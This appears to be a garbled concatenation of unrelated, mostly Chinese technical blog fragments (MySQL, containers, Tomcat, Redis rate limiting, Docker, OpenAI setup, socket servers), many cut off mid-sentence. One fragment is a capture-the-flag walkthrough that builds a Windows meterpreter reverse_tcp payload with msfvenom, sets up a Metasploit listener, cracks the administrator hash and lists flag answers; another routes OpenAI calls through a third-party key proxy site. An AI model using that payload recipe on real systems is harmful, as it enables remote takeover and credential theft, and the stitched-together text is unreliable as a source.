到这一步没试过Ubuntu,可能也行。
想弄清楚步骤,直接卸掉Ubuntu,重新安装失败,通过参考3也没解决。
第二次成功操作总结:
1.
mysql 5.7报错
which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by 解决办法 修改配置文件 my.cnf
[mysqld] sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION 参考文章 which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mod
文章目录 前言背景基本术语容器镜像容器镜像格式容器引擎容器容器主机注册中心容器编排 进阶术语容器运行时镜像层标签存储库名称空间 参考 前言 本文内容翻译自参考文献。
背景 要理解容器术语,重要的是要精确地理解容器是什么。容器实际上是两个不同的东西。像普通的Linux程序一样,容器实际上有两种状态——休眠和运行。在休眠状态下,容器是保存在磁盘上的一个文件(或一组文件)。这称为容器镜像或容器存储库。当您输入启动容器的命令时,容器引擎将解包所需的文件和元数据,然后将它们交给Linux内核。启动容器与启动普通Linux进程非常相似,需要通过API调用Liunx内核。这个API调用通常会启动额外的隔离并挂载容器镜像中文件的一个副本。一旦运行,容器就只是一个Linux进程。启动容器的过程,以及磁盘上的镜像格式,都由标准定义和管理。
有几种相互竞争的容器镜像格式(Docker, Appc, LXD),但业界正在推进开放容器倡议下的标准,有时简称为开放容器或OCI。OCI的范围包括一个容器镜像格式规范,它定义了容器镜像的磁盘格式以及元数据,元数据定义了硬件架构和操作系统(Linux、Windows等)。标准的容器镜像格式使软件生态系统蓬勃发展——不同的独立贡献者、项目和供应商能够构建可互操作的镜像和工具。用户需要签名、扫描、构建、运行、移动和管理容器镜像的工具之间的互操作性。
也有几个竞争的容器引擎,包括Docker, CRI-O, Railcar, RKT, LXC。这些容器引擎获取容器镜像并将其转换为容器(也就是正在运行的进程)。这是由OCI的范围控制的,其中包括容器运行时规范和称为RunC的参考运行时实现。此参考实现是开源的,由社区开发模型管理,并且通常被许多容器引擎用于在创建容器时与主机内核通信。
针对OCI容器镜像格式规范和容器运行时规范的工具确保了容器平台、容器引擎和云提供商和内部架构的支持工具的广泛生态系统之间的可移植性。了解容器的术语、容器标准和构建块的体系结构,将确保您能够与其他架构师进行沟通,以构建可扩展和可支持的容器化应用程序和环境,以便在未来几年高效地运行容器。
基本术语 容器镜像 从最简单的定义来看,容器镜像是一个从注册中心拉下的文件,在启动容器时用作本地挂载点。容器社区经常使用“容器镜像”,但是这种命名法可能会让人很困惑。Docker、RKT甚至LXD都是基于提取远程文件并将其作为容器运行的概念进行操作的。这些技术都以不同的方式处理容器镜像。LXD提取单个容器镜像(单层),而Docker和RKT使用基于OCI的镜像,这些镜像可以由多层组成。
从技术上讲,它比注册中心服务器上的单个文件复杂得多。当人们使用术语“容器镜像”时,他们通常指的是Repository,指的是多个容器镜像层的一束,以及提供有关这些层的额外信息的元数据。
容器镜像的概念中隐含着容器镜像格式的概念。
容器镜像格式 历史上,每个容器引擎都有自己的容器镜像格式。LXD、RKT和Docker都有自己的镜像格式。有些是由一层组成的,而有些是由树结构中的一堆层组成的。今天,几乎所有的主要工具和引擎都转向了开放容器倡议(Open Container Initiative, OCI)定义的格式。这种镜像格式定义了容器镜像中的层和元数据。本质上,OCI镜像格式定义了由每个层的tar文件和清单组成的容器镜像。包含元数据的Json文件。
开放容器倡议(Open Container Initiative, OCI)最初基于Docker V2镜像格式,已经成功地统一了容器引擎、云提供商和工具提供商(安全扫描、签名、构建和移动)的广泛生态系统。这将有助于保护用户在他们的环境中投资知识和工具。
容器引擎 容器引擎是一个接受用户请求(包括命令行选项)、提取镜像并从最终用户的角度运行容器的软件。容器引擎有很多,包括docker、RKT、CRI-O和LXD。此外,许多云提供商、平台即服务(PaaS)和容器平台都有自己内置的容器引擎,它们使用Docker或OCI兼容的容器镜像。拥有行业标准的容器镜像格式允许所有这些不同平台之间的互操作性。
再深入一层,大多数容器引擎实际上并不运行容器,它们依赖于像runc这样兼容OCI的运行时。通常,容器引擎负责:
处理用户输入通过API处理输入,通常来自容器编排器从注册中心服务器提取容器镜像使用图形驱动程序(取决于驱动程序的块或文件)在磁盘上解压和扩展容器镜像准备容器挂载点,通常在写时复制存储上(同样是块或文件,取决于驱动程序)准备将传递给容器的元数据,以便正确启动容器 使用容器镜像中的一些默认值(例如archx86)使用用户输入来覆盖容器镜像中的默认值(例如CMD, ENTRYPOINT)使用容器镜像指定的默认值(例如SECCOM规则) 调用容器运行时 容器 容器在操作系统中已经存在了相当长的时间。容器是容器镜像的运行时实例化。容器是一个标准的Linux进程,通常通过clone()系统调用而不是fork()或exec()创建。此外,容器通常通过使用cgroups、SELinux或AppArmor进一步隔离。
容器主机 容器主机是运行容器化进程的系统。例如,它可以是在VM中运行的RHEL Atomic Host,作为公共云中的实例,或者在数据中心的裸机上运行。一旦容器镜像(又名存储库)从注册中心拉到本地容器主机,就说它在本地缓存中。
可以使用以下命令确定哪些存储库被同步到本地缓存:
[root@rhel7 ~]# docker images -a REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry.access.redhat.com/rhel7 latest 6883d5422f4e 3 weeks ago 201.7 MB 注册中心 注册服务器本质上是一个奇特的文件服务器,用于存储Docker存储库。通常,注册服务器被指定为普通DNS名称和可选的连接端口号。Docker生态系统的大部分价值来自于从注册服务器推送和拉取存储库的能力。
当Docker守护进程没有存储库的本地缓存副本时,它将自动从注册中心服务器提取该副本。大多数Linux发行版都配置了从Docker中提取的Docker守护进程。但是它在一些Linux发行版上是可配置的。例如,Red Hat Enterprise Linux被配置为先从registry.
*任务说明:
仅能获取win20230217的IP地址
用户名:test,密码:123456
访问服务器主机,找到主机中管理员名称,将管理员名称作为Flag值提交; john
访问服务器主机,找到主机中补丁信息,将补丁编号作为Flag值提交; KB4500331
查看方法如下:打开“开始”菜单。
单击“控制面板”
打开“添加删除程序"。
在弹出来的窗口左上角有”查看已安装的更新“选项。
3·访问服务器主机,找到主机中管理员密码,将管理员密码作为Flag值提交;
Goodluck
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.100.100.119 LPORT=4444 -b"\x00" -f exe > aiyou.exe将驱动开启就可以传文件到靶机运行
1、启动Metasploit,use exploit/multi/handler
2、设置payload,set payload windows/meterpreter/reverse_tcp
3、设置监听,set lhost ip
4、设置监听端口,set lport 4444
将John的hash弄到ophcrack密码出来了
4·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档名称作为Flag值提交;
ruK97azZp4
5·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档中信息作为Flag值提交;
rdO35NBXXi
6·访问服务器主机,找到主机中回收站唯一信息,将信息中的内容作为Flag值提交。
VX1DUEv95s
修改administrator的密码,登录进去回收站查看
目录 摘要Abstract一、文献阅读1.题目:2.摘要3.问题描述4.过去方案5.论文方案6.论文模型7.相关代码 摘要 本周阅读了一篇混沌时间序列预测的论文,论文模型主要使用的是时间卷积网络(Temporal Convolutional Network,TCN)、LSTM以及GRU。在数据集方面除了使用现实的时间序列数据外,还通过若干混沌系统生成了一些混沌的时间序列数据,这些数据没有现实方面的意义,但可以用来证明论文模型的实用性。因为混沌时间序列在现实世界普遍存在,例如水质,股票,天气等,所以论文模型也有运用于预测的潜力。
Abstract This week, We read a paper on chaotic time series prediction. The paper primarily utilized models such as Temporal Convolutional Network (TCN), Long Short-Term Memory (LSTM), and Gated Recurrent Unit (GRU). In terms of the dataset, in addition to using real-world time series data, the paper also generated chaotic time series data through several chaotic systems. Although these chaotic data lack real-world significance, they serve to demonstrate the practicality of the proposed models.
This is a personal study notes of Apache Tomcat. Below are main reference material.
- YouTube Apache Tomcat Full Tutorial,owed by Alpha Brains Courses. https://www.youtube.com/watch?v=rElJIPRw5iM&t=801s
1、URL Mapping To Resources1.1、What we request for when hitting a URL1.2、Mapping Code1.2.1、Mapping To Resources1.2.1.1、Access Resourses in ROOT 1.2.2、Mapping To Service 1、URL Mapping To Resources 1.1、What we request for when hitting a URL When we hit a URL on browser like localhost:8080/example/hellowe are actually reqeusting a resource or service.
This is a personal study notes of Apache Tomcat. Below are main reference material.
- YouTube Apache Tomcat Full Tutorial,owed by Alpha Brains Courses. https://www.youtube.com/watch?v=rElJIPRw5iM&t=801s
1、Overview2、Trouble shooting2.1、Bad Config file2.1.1、What is It2.1.2、How To Troubleshooting 2.2、JSP Problems2.2.1、What Is It2.2.2、Why Important 1、Overview This article is about common issues of Tomcat and how to solve them.
2、Trouble shooting The errors we talk about in here is that occur between the web app and the web container, Catalina.
文章目录 情感词典中文分词单词向量化技术Word2vecGloVefastText 关键词提取算法 情感词典 英文的情感词典有:LIWC, SentiWordNet等
中文的情感词典有:NTUSD, 正文褒贬词典TSING, 知网HowNet等
中文分词 中文分词的工具有:jieba(核心算法是张华平的Nshort算法), SnowNLP, NLPIR汉语分词系统, THULAC, PkuSeg, LTP等
Pkuseg技术能对多个领域进行分词,并可以针对不同的领域数据进行个性化的预训练。
LTP提供了动态链接库的接口,拥有可视化功能,还能以网络服务的形式进行使用。
Jieba分词则由三种分切方式,是目前比较接受人欢迎的中文分词工具。
单词向量化技术 Word2vec Word2vec存在两种最基本的模型:连续词袋模型(CBOW)和跳字模型(Skip-gram)
GloVe GloVe 指用词表示的全局变量(global vectors for word representation)一个基于全局词频统让的词表征工具。GloVe 是一个新的全局对数双线性回归模型,用于无监督学习的单词表示,它优于其他模型在单词类比、单词相似性以及命名实体识别任务。与Word2vec 可以进行在线学习,GloVe 则需要统计固定语料信息;Word2vec 损失函数实质上是带权重的交叉熵,权重固定,GloVe的损失函数是最小平方损失函数,权重可以做映射变换;GloVe 利用了全局信息,使其在训练时收敛更快,训练周期较Word2vec 较短且效果更好。
fastText fastText词向量算法将词表征为向量形式并计算词与词之间相似度作为权重引入图模型。
与GloVe词向量算法相比,fastText与Word2vec两种词向量算法的损失计算采用固定权重的交叉熵损失函数,并且特征提取均是基于滑动窗口的。
关键词提取算法 TF-IDF, TextRank.
TextRank算法虽然借鉴了PageRank以节点权重排序的思想,但二者相比存在不同之处,TextRank认为在文本中词与词之间的关联无权重,并且每个词并非和文本中所有其他的词都存在所谓的链接。TextRank关键词提取算法的优点是它可以不依赖于大规模的比较数据,也不需要进行任何预先的训练和计算。但TextRank算法在进行关键词提取时,由于窗口的限制,只能考虑到局部词之间的连接关系,缺少从全局角度利用词之间的依存特征。
0 项目需求: 解析PCB电路板的gerber文件,将PCB电路板图像显示并绘制出PCB电路板BMP图像用于喷墨打印,针对打印需求,需要输出1bit图像、2bit图像、1bit&2bit反色图、8bit墨量直观图、预览图和xml文件,同时,为控制喷头喷印的墨量,需要对图像进行处理,比如2bit灰度变化、抽点、削减线宽,为防止喷墨后有墨流出,需要对色块的边缘进行一圈筑坝。解析和显示部分由同事完成,本人主要完成PCB电路板BMP图像处理部分,即上述黑体字所描述的功能。
1 绘制8bit图像 业务上并没有输出8bit图像的需求,但由于直接对1bit图像进行绘制看上去可行,但是1bit图像只有黑白两种颜色,0表示黑色,1表示白色,由于2bit图像是由1bit图像转换而来,1bit图像无法进行灰度变化,所以我们无法对2bit进行灰度变化,所以这种方法不可取。8bit图像用1字节表示一个像素,具有256种灰度值,如果2bit需要进行灰度变化,那就先对8bit图像进行灰度变化,然后转化后的2bit也就进行了相应的灰度变化,因此这里先对8bit图像进行绘制,将8bit转化为2bit和1bit,同时也可以用于后面的2bit图像灰度变化。
绘制直线、圆弧、闪绘、自定义区域:
计算drawArc所需参数信息圆弧微分法 内外削:
核心思想:通过腐蚀和膨胀达到内外削的效果
主要使用的halcon算子:erosion_rectangle1 dilation_rectangle1 抽点:
核心思想:获取区域的最小外接矩形,然后从左上角逐条对角线改变灰度值
使用了C++11标准线程主要使用的halcon算子:smallest_rectangle1//获取区域的最小外接矩形 get_region_index//判断指定像素是否在区域中 tuple_length//判断返回的元组是否为空 筑坝:
核心思想:用不同灰度值在区域周围画一圈轮廓
主要使用的halcon算子:
paint_region 2bit灰度变化:
核心思想:选择符合条件的区域,改变区域灰度值
主要使用的halcon算子:
select_shape paint_region 2 输出1bit&2bit图像和1bit&2bit反色图像 核心思想: 将8bit图像通过位深度转化算法转化为1bit和2bit图像,同时根据是否反色的判断,再转化过程中做出相应的反色处理
位深度转化算法bmp图像文件格式超详解 3 输出8bit墨量直观图 核心思想: 将2bit图像通过位深度转化算法转化为8位深度彩色图
位深度转化算法 4 输出预览图 核心思想: 对1bit图像进行缩放
主要使用的halcon算子:
GetImageSize ZoomImageSize 5 输出xml文件 利用Qt输出XML文件
这是《百图解码支付系统设计与实现》专栏系列文章中的第(14)篇。点击上方关注,深入了解支付系统的方方面面。
本篇主要介绍分布式场景下常用的并发流量控制方案,包括固定时间窗口、滑动时间窗口、漏桶、令牌桶、分布式消息中间件等,并重点讲清楚固定时间窗口应用原理和应用场景,以及使用reids实现的核心代码。
在非支付场景,也常常需要用到这些并发流量控制方案。
1. 前言 在互联网应用里面,并发流量控制无所不在。在支付系统中,流量控制同样是一个关键的技术方面,主要用于确保系统的稳定性和可靠性,尤其在高流量的情况下。以下是一些主要使用流量控制的场景:
对外API限流:对外提供的API(如支付接口)需要限流来保护后端服务不会过载。保护外部渠道:大促时,对下流渠道的支付流量要做削峰填谷,避免突发流量把渠道打挂。保护内部应用:大促时,内部各应用要根据流量模型配置限流值,避免形成雪崩。满足外部退款限流要求:电商批量提交退款时,支付系统内部要在分布式集群环境下对某个渠道实现低至1TPS的退款并发,避免超过渠道退款并发导致大批量失败。 特别说明的是,流量控制通常包括限流和限速。
限流:就是流量达到一定程度,超过的流量会全部立即拒绝掉,也就是快速失败。比如上面的API限流。
限速:一般是指接收流量后,先保存到队列中,然后按指定的速度发出去,如果超过队列最大值,才会拒绝。比如上面的支付流量和退款流量打到外部渠道。
另外,支付和退款流量控制虽然都是流量控制,但有一些细小的区别:
支付的限流TPS通常比较高,从十几TPS到几百TPS都有,排队时效性要求很高,秒级内就要付出去。退款的限流TPS通常比较低,在国外的基础设施建设很差,甚至部分渠道要求退款1TPS。但是排队时效性要求很低,几天内退出去就行。 2. 几种方案对比 固定窗口:算法简单,对突然流量响应不够灵活。超过流量的会直接拒绝,通常用于限流。
滑动窗口: 算法简单,对突然流量响应比固定窗口灵活。超过流量的会直接拒绝,通常用于限流。
漏桶算法:在固定窗口的基础之上,使用队列缓冲流量。提供了稳定的流量输出,适用于对流量平滑性有严格要求的场景。后面会介绍如何应用到外部渠道退款场景。
令牌桶算法:在滑动窗口的基础之上,使用队列缓冲流量。能够允许一定程度的突发性流量,但实现较为复杂。
分布式消息中间件:如Kafka和RabbitMQ等,能够有效地对消息进行缓冲和管理,增加系统复杂性,且如果需要精确控制流量还需要引入额外的机制。后面会介绍如何应用到外部渠道支付场景。
3. 固定时间窗口原理 固定窗口算法,也称为时间窗口算法,是一种流量控制和速率限制策略。此算法将时间轴分割成等长、不重叠的时间段,称为“窗口”。每个窗口都有一个独立的计数器,用于跟踪窗口期间的事件数量(如API调用、数据包传输等)。
固定窗口算法的好处是简单,缺点也很明显,就是无法应对突发流量,比如每秒30并发,如果前100ms来了30个请求,那么在10ms内就会把30个请求打出去,后面的900ms的请求全部拒绝。
工作流程:
窗口定义:首先确定窗口大小,比如1秒钟。计数:每当发生一个事件(比如一个请求到达),就在当前窗口的计数器上加一。限制检查:如果当前窗口的计数器达到预设阀值,则拒绝新的请求。直到下一个窗口开始。窗口重置:当前窗口结束时,计算数器重置为零,开始下一个窗口计数。 4. 固定时间窗口在支付系统中的应用场景 主要用于简单的限流。比如在渠道网关做限流,发送渠道的请求最大不能超过测算出来的值,避免渠道侧过载,可能会导致支付请求批量失败。
是有损服务的一种实现方式。
5. 使用redis实现的核心代码 为什么选择redis?因为在分布式场景下,限流需要有一个集群共用的计算数来保存当前时间窗口的请求量,redis是一个比较优的方案。
场景示例:WPG渠道的支付每秒不能超过20TPS。
那么设计key=“WPG-PAY” + 当前时间戳(精确到S),数据过期时间为2S(这个过期时间主要是兼容各服务器的时间差)。
下面是流程图:
lua脚本:limit.lua
local key = KEYS[1] -- 默认为2S超期,精确到S级。也可以改造成由外面传进来 -- local expireTime = 2 -- 先自增,如果不存在就自动创建 -- redis.incr(key); local count = tonumber(redis.call("get", key)) -- 如果结果为1,说明是新增的,设置超时时间 -- if count == 1 then redis.call("expire", key, expireTime) end return count; redis操作类:RedisLimitUtil
该文章笔记结合菜鸟教程的排序算法,如果后面认识有改动或者完善再继续
最近笔试很多题目都考察过了基本的排序算法,尤其是快排、冒泡、选择,大家在这一方面一定要注意下。
一. 总述 1. 时间复杂度 详细介绍 1. 冒泡排序 冒泡排序重复地走访过要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。
具体步骤:
比较相邻的元素。如果第一个比第二个大,就交换他们两个。对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对。这步做完后,最后的元素会是最大的数。针对所有的元素重复以上的步骤,除了最后一个。持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较 代码实现:
for (int i = 1; i < arr.length; i++) { // 设定一个标记,若为true,则表示此次循环没有进行交换,也就是待排序列已经有序,排序已经完成。 boolean flag = true; for (int j = 0; j < arr.length - i; j++) { if (arr[j] > arr[j + 1]) { int tmp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = tmp; flag = false; } } if (flag) { break; } } return arr; 为什么不能贴动图啊,为什么啊
目录 前言0. 简述1. 使用spconv进行SCN的推理测试2. 导出onnx3. 补充-装饰器+钩子函数总结下载链接参考 前言 自动驾驶之心推出的 《CUDA与TensorRT部署实战课程》,链接。记录下个人学习笔记,仅供自己参考
本次课程我们来学习下课程第八章——实战:CUDA-BEVFusion部署分析,一起来学习导出带有 spconv 的 SCN 网络的 onnx
Note:之前在学习杜老师的课程中有简单记录过 Sparse Convolution 的一些基础知识,感兴趣的可以看下:复杂onnx解决方案(以sparseconv为例)
课程大纲可以看下面的思维导图
0. 简述 本小节目标:学习利用 hook 截取 spconv 的 forward,从而自定义 onnx 算子导出 onnx 的方法
今天给大家讲解第八章第 3 小节,学习导出带有 spconv 的 SCN 网络的 onnx,这个小节我们先跟着 NVIDIA 官方提供的 3D Sparse Convolution 库,学习怎么去调用它,接口是什么样子
我们先假设 onnx 已经导出好了,读取导出好的 onnx 生成对应的 engine 引擎完成前向推理,我们先来完成这个流程,onnx 导出我们稍后再看
这部分 NVIVIDA 其实开源在 https://github.com/NVIDIA-AI-IOT/Lidar_AI_Solution/tree/master/libraries/3DSparseConvolution,但值得注意的是它整个推理框架虽然是开源了,但比较核心的地方比如 spconv 里面是怎么加速的它其实并没有开源
我们主要是通过 NVIDIA 提供的方案一起去学习一下它的推理框架是怎么做的以及 spconv 的接口是如何去使用的,这是我们需要做的第一件事
第二件事就是我们需要学习 spconv 的 onnx 是怎么导出的,我们上节课也讲过 spconv 的 onnx 稍微有点特殊,因为我们需要用 hook 去截取 spconv 的 forward,之后重定位 spconv 的forward,接着去创建一个 onnx 自定义节点,通过这一系列的操作完成 spconv 的导出
主题: 什么时函数栈帧?理解函数栈帧能解决什么问题?函数栈帧的创建和销毁解析 1.什么时函数栈帧 我们在写C语言代码的时候,经常会把一个独立的功能抽象为函数,所以C程序是以函数为基本单位的。那函数是如何调用的?函数的返回值又是如何待会的?函数参数是如何传递的?这些问题都和函数栈帧有关系。函数栈帧(stack frame)就是函数调用过程中在程序的调用栈(call stack)所开辟的空间,这些空间是用来存放: 函数参数和函数返回值临时变量(包括函数的非静态的局部变量以及编译器自动生产的其他临时变量)保存上下文信息(包括在函数调用前后需要保持不变的寄存器) 2. 理解函数栈帧能解决什么问题? 只要理解了函数栈帧的创建和销毁,以下问题就能够很好的理解了: 局部变量是如何创建的?为什么局部变量不初始化内容是随机的?函数电泳时参数是如何传递的?传参的顺序是怎样的?函数的形参和实参分别是怎样实例化的?函数的返回值是如何带回的? 让我们一起走进函数栈帧的创建和销毁的过程中吧! 3. 函数栈帧的创建和销毁解析 3.1 什么是栈? 栈(stack)是现代计算机程序里最为重要的概念之一,几乎每一个程序都使用了栈,没有栈就没有函
数,没有局部变量,也就没有我们如今看到的所有的计算机语言。在经典的计算机科学中,栈被定义为一种特殊的容器,用户可以将数据压入栈中(入栈,push),也可
以将已经压入栈中的数据弹出(出栈,pop),但是栈这个容器必须遵守一条规则:先入栈的数据后出
栈(First In Last Out, FIFO)。就像叠成一叠的术,先叠上去的书在最下面,因此要最后才能取出。在计算机系统中,栈则是一个具有以上属性的动态内存区域。程序可以将数据压入栈中,也可以将数据
从栈顶弹出。压栈操作使得栈增大,而弹出操作使得栈减小。在经典的操作系统中,栈总是向下增长(由高地址向低地址)的。在我们常见的i386或者x86-64下,栈顶由成为 esp 的寄存器进行定位的。 3.2 认识相关寄存器和汇编指令 3.2.1 相关寄存器 3.2.2 相关汇编指令 3.3 解析函数栈帧的创建和销毁 3.3.1 预备知识 首先我们达成一些预备知识才能有效的帮助我们理解,函数栈帧的创建和销毁。 每一次函数调用,都要为本次函数调用开辟空间,就是函数栈帧的空间这块空间的维护是使用了2个寄存器: esp 和 ebp , ebp 记录的是栈底的地址, esp 记录的是栈顶
的地址。 如图所示: 函数栈帧的创建和销毁过程,在不同的编译器上实现的方法大同小异,本次演示以VS2019为例。 3.3.2 函数的调用堆栈 演示代码:
#include <stdio.h> int Add(int x, int y) { int z = 0; z = x + y; return z; } int main() { int a = 3; int b = 5; int ret = 0; ret = Add(a, b); printf("
商家转账到零钱是什么?
使用商家转账到零钱这个功能,可以让商户同时向多个用户的零钱转账。商户可以使用这个功能用于费用报销、员工福利发放、合作伙伴货款或分销返佣等场景,提高效率。
商家转账到零钱的使用场景有哪些?
商家转账到零钱功能可以帮助商户实现批量自动操作费用报销、员工福利发放、合作伙伴的货款或佣金支付等操作,从而提高系统的转账效率。
商家转账到零钱的申请条件
前几年个体户是可以开通的,现在规则有了变化,只有企业也就是有限公司类型才可以开通,如果不符合的话申请时候会提示该主体类型不能开通。
商家转账到零钱怎么开通?
商家转账到零钱的审核时长
申请的开通【商家转账到零钱】的功能,现在已经一个月了,但是一直是【审核中】。平台估计的审核时长是 5~7天,但现在已经这么久了。
virt-manager bridge 全部虚拟机ip都一样解决办法 ubuntu22.04 virt-manager 创建 ubuntu20.04 live-server 虚拟机,创建好后,使用bridge网络,正常运行。
clone虚拟机启动后,发现虚拟机的ip都一样,重启无效。
解决办法,把复制的虚拟机 hostname,改掉。
在virt-manager -> edit -> connection details -> Virtual Networks,选择 xml。
添加 <host mac='**" name=“*" ip="” />
如下示例:
<network> <name>default</name> <uuid>bd1e84b8-b404-4660-9bd8-b365eb036e3f</uuid> <forward mode="nat"> <nat> <port start="1024" end="65535"/> </nat> </forward> <bridge name="virbr0" stp="on" delay="0"/> <mac address="52:54:00:60:8d:7b"/> <ip address="192.168.122.1" netmask="255.255.255.0"> <dhcp> <range start="192.168.122.2" end="192.168.122.254"/> <host mac="52:54:00:10:44:7d" name="u2004m" ip="192.168.122.10"/> <host mac="52:54:00:d4:91:dd" name="u20042m1" ip="192.168.122.11"/> </dhcp> </ip> </network> 注意:
host中的name, 是虚拟机中的 /etc/hostname 中的值。
基于Docker的Nginx的安装与配置 1 为Nginx创建一个容器1.1 学习docker run1.2 通过docker run为Nginx创建并启动一个容器 2 配置Nginx2.1 学习docker的bind mount技术2.2 在Nginx容器中找到想修改的文件所在的目录2.2.1 认识nginx.conf文件2.2.2 访问Nginx服务,默认返回index.html 2.3 找到后,在主机创建对应的目录,为后续挂载做准备 [在主机的终端进行操作]2.3.1 创建目录2.3.2 拷贝文件2.3.3 在主机中修改Nginx的index.html 2.4 删除就Ngingx容器,重启新Nginx容器2.5 新Nginx容器,新的index.html 1 为Nginx创建一个容器 实际中,后端代码部署在远端容器中以向外提供后端服务。类似的,我们可以在本地为Nginx创建一个容器,并提供Nginx服务。 1.1 学习docker run 一般情况,启动一个服务,需要先拉取该服务的镜像,然后为该镜像启动一个容器。这个可以用一条命令来实现:docker run通过docker --help查看如何使用docker命令:
进一步查看:docker run --help
Options很多,一般掌握最基本的的,也就够用了。如果遇到不够用的情况,把诉求描述给gpt,让它帮忙写就好了,或者google一下。
1.2 通过docker run为Nginx创建并启动一个容器 macOS的shell中执行: docker run \ --restart always \ --name Nginx \ -d \ -p 80:80 \ nginx 常用参数的详细解释:
(1)--restart always:是设定重启策略,意味着无论容器的退出状态码是什么,Docker都会自动重启这个容器。这样可以保证在Docker进程或主机重启后,容器将自动启动。
(2)--name Nginx:是设定这个新建的Docker容器的名字为"Nginx"。如果不设定,Docker将自动给它分配一个随机的名字。
(3)-d是让这个容器在后台运行,而不是在当前的shell里。
(4)-p 80:80是设定端口映射,将主机的80端口映射到容器的80端口。这样,我们可以通过主机的80端口访问到容器内运行的服务。
(5)nginx是这个新建的Docker容器所使用的镜像的名字。
通过本地的Docker客户端(Portainer也可以)查看Nginx容器
已经可以使用Nginx容器提供的Nginx服务了:
2 配置Nginx 不支持定制的软件,不是好软件:)
整合junit <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <version>2.7.0</version> </dependency> 测试类上添加@SpringBootTest
如:
注意测试类的目录与主启动类的目录一致,测试方法中添加@Test
热部署(idea) 1、添加spring-boot-devtools热部署启动器
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> </dependency> 2、file-settings-compiler-勾选Build project automatically
3、ctrl+shift+alt+/ 打开Maintenance中registry,选中...when.app.running
本主题介绍了如何使用 C++/WinRT 注册和撤销事件处理委托。 可以使用任何标准 C++ 函数类对象来处理事件。
使用 Visual Studio 添加事件处理程序(WPF) 一种将事件处理程序添加到项目的简便方法是使用 Visual Studio 中的 XAML 设计器用户界面 (UI)。 XAML 页面在 XAML 设计器中打开后,请选择要处理其事件的控件。 在该控件的属性页中的上方,单击闪电形图标以列出所有源于该控件的事件。 然后,双击想要处理的事件,例如,OnClicked。
XAML 设计器会将相应的事件处理程序函数原型(和存根实现)添加到源文件,供你替换为自己的实现。
备注
通常情况下,无需在 Midl 文件 (.idl) 中描述事件处理程序。 因此,XAML 设计器不会向 Midl 文件添加事件处理程序函数原型。 它仅将这些原型添加到 .h 和 .cpp 文件。
注册用于处理事件的委托 一个简单示例将处理按钮的单击事件。 使用 XAML 标记注册用于处理该事件的成员函数很常见,如下所示。
// MainPage.xaml <Button x:Name="myButton" Click="ClickHandler">Click Me</Button> // MainPage.h void ClickHandler( winrt::Windows::Foundation::IInspectable const& sender, winrt::Windows::UI::Xaml::RoutedEventArgs const& args); // MainPage.cpp void MainPage::ClickHandler( IInspectable const& /* sender */, RoutedEventArgs const& /* args */) { myButton().
文章目录 前言一、windows创建openai开发环境二、国内代理方式访问openai的方法(简单方法)三、测试运行第一个openai程序总结 前言 作者开发第一个openai应用的环境准备、第一个openai程序调用成功,做个记录,希望帮助新来的你。
一、windows创建openai开发环境 下载conda 安装包conda create --name ai python=3.9conda activate aipip install openai (ai) C:\Users\jintengtech> pip install openai (ai) C:\Users\jintengtech> pip install python-dotenv 旧版ai使用oai的环境,conda使用不同的环境隔离不同的版本,如果需要,使用多个版本的openai,建议使用不同的环境
conda create --name oai python=3.9
二、国内代理方式访问openai的方法(简单方法) 1.作者尝试两天访问openai都没有成功,心情崩溃。
后来发现竟然有好人,准备好了代理,api key也提供了,直接访问下面链接(https://key.wenwen-ai.com/
)
获取自己的key
在正常的api_key代码下面加上 openai.api_base就能使用,是不是很方便?
#openai.api_key = os.getenv(‘OPENAI_API_KEY’)
openai.api_key = “sk-xx” #自己从网站获取
openai.api_base=“https://key.wenwen-ai.com/v1”
三、测试运行第一个openai程序 import openai import os from dotenv import load_dotenv, find_dotenv _ = load_dotenv(find_dotenv()) #openai.api_key = os.getenv('OPENAI_API_KEY') openai.api_key = "sk-xx" #自己从网站获取 openai.api_base="https://key.wenwen-ai.com/v1" prompt = "
写在前面 Linux网络编程我是看视频学的,Linux网络编程,看完这个视频大概网络编程的基础差不多就掌握了。这个系列是我看这个Linux网络编程视频写的笔记总结。
高并发服务器 问题: 根据上一个笔记,我们可以写出一个简单的服务端和客户端通信,但是我们发现一个问题——服务器只能连接一个客户端。然而在实际生活中,我们发现一个服务器连接的客户端远远不止一个,所以我们就要做一个高并发服务器。
解决方法: 回看之前的代码,之所以只能一对一通信,是因为服务器只有一次执行accept的机会,一旦建立连接成功,就会去进行通信处理业务,而其他想要建立连接的服务器就没办法建立连接。因此我们想到在Linux系统编程中学的进程和线程,我们可以让父进程(主线程)去监听,一定有客户端请求建立连接,我们就创建子进程(其他线程)去和客户端建立连接进行通信,父进程(主线程)继续监听。
多进程并发服务器 思路(步骤): 前期准备工作: 先用socket()生成一个套接字lfd用来监听用bind()对第一步生成的套接字绑定地址结构(绑的是服务器的地址结构)用listen()函数设置lfd的监听上限,最大是128. 进入循环,accept与客户端建立连接,得到用于通信的套接字的文件描述符cfdfork()创建子进程对于父进程,由于父进程只是监听,不需要与客户端进行通信,所以我们就关闭cfd,注册信号捕捉函数,用来回收子进程,然后一直循环监听。对于子进程,由于子进程只是进行通信,不需要监听,所以我们就关闭lfd,然后就与客户端进行通信,处理业务。 源代码: #include<stdio.h> #include<string.h> #include<ctype.h> #include<stdlib.h> #include<unistd.h> #include<sys/socket.h> #include<arpa/inet.h> #include<signal.h> #define PORT 6666 void sys_err(char* str) { perror(str); exit(-1); } void wait_child(int signum) //信号捕捉,回收子进程 { while((waitpid(0,NULL,WNOHANG))>0); // 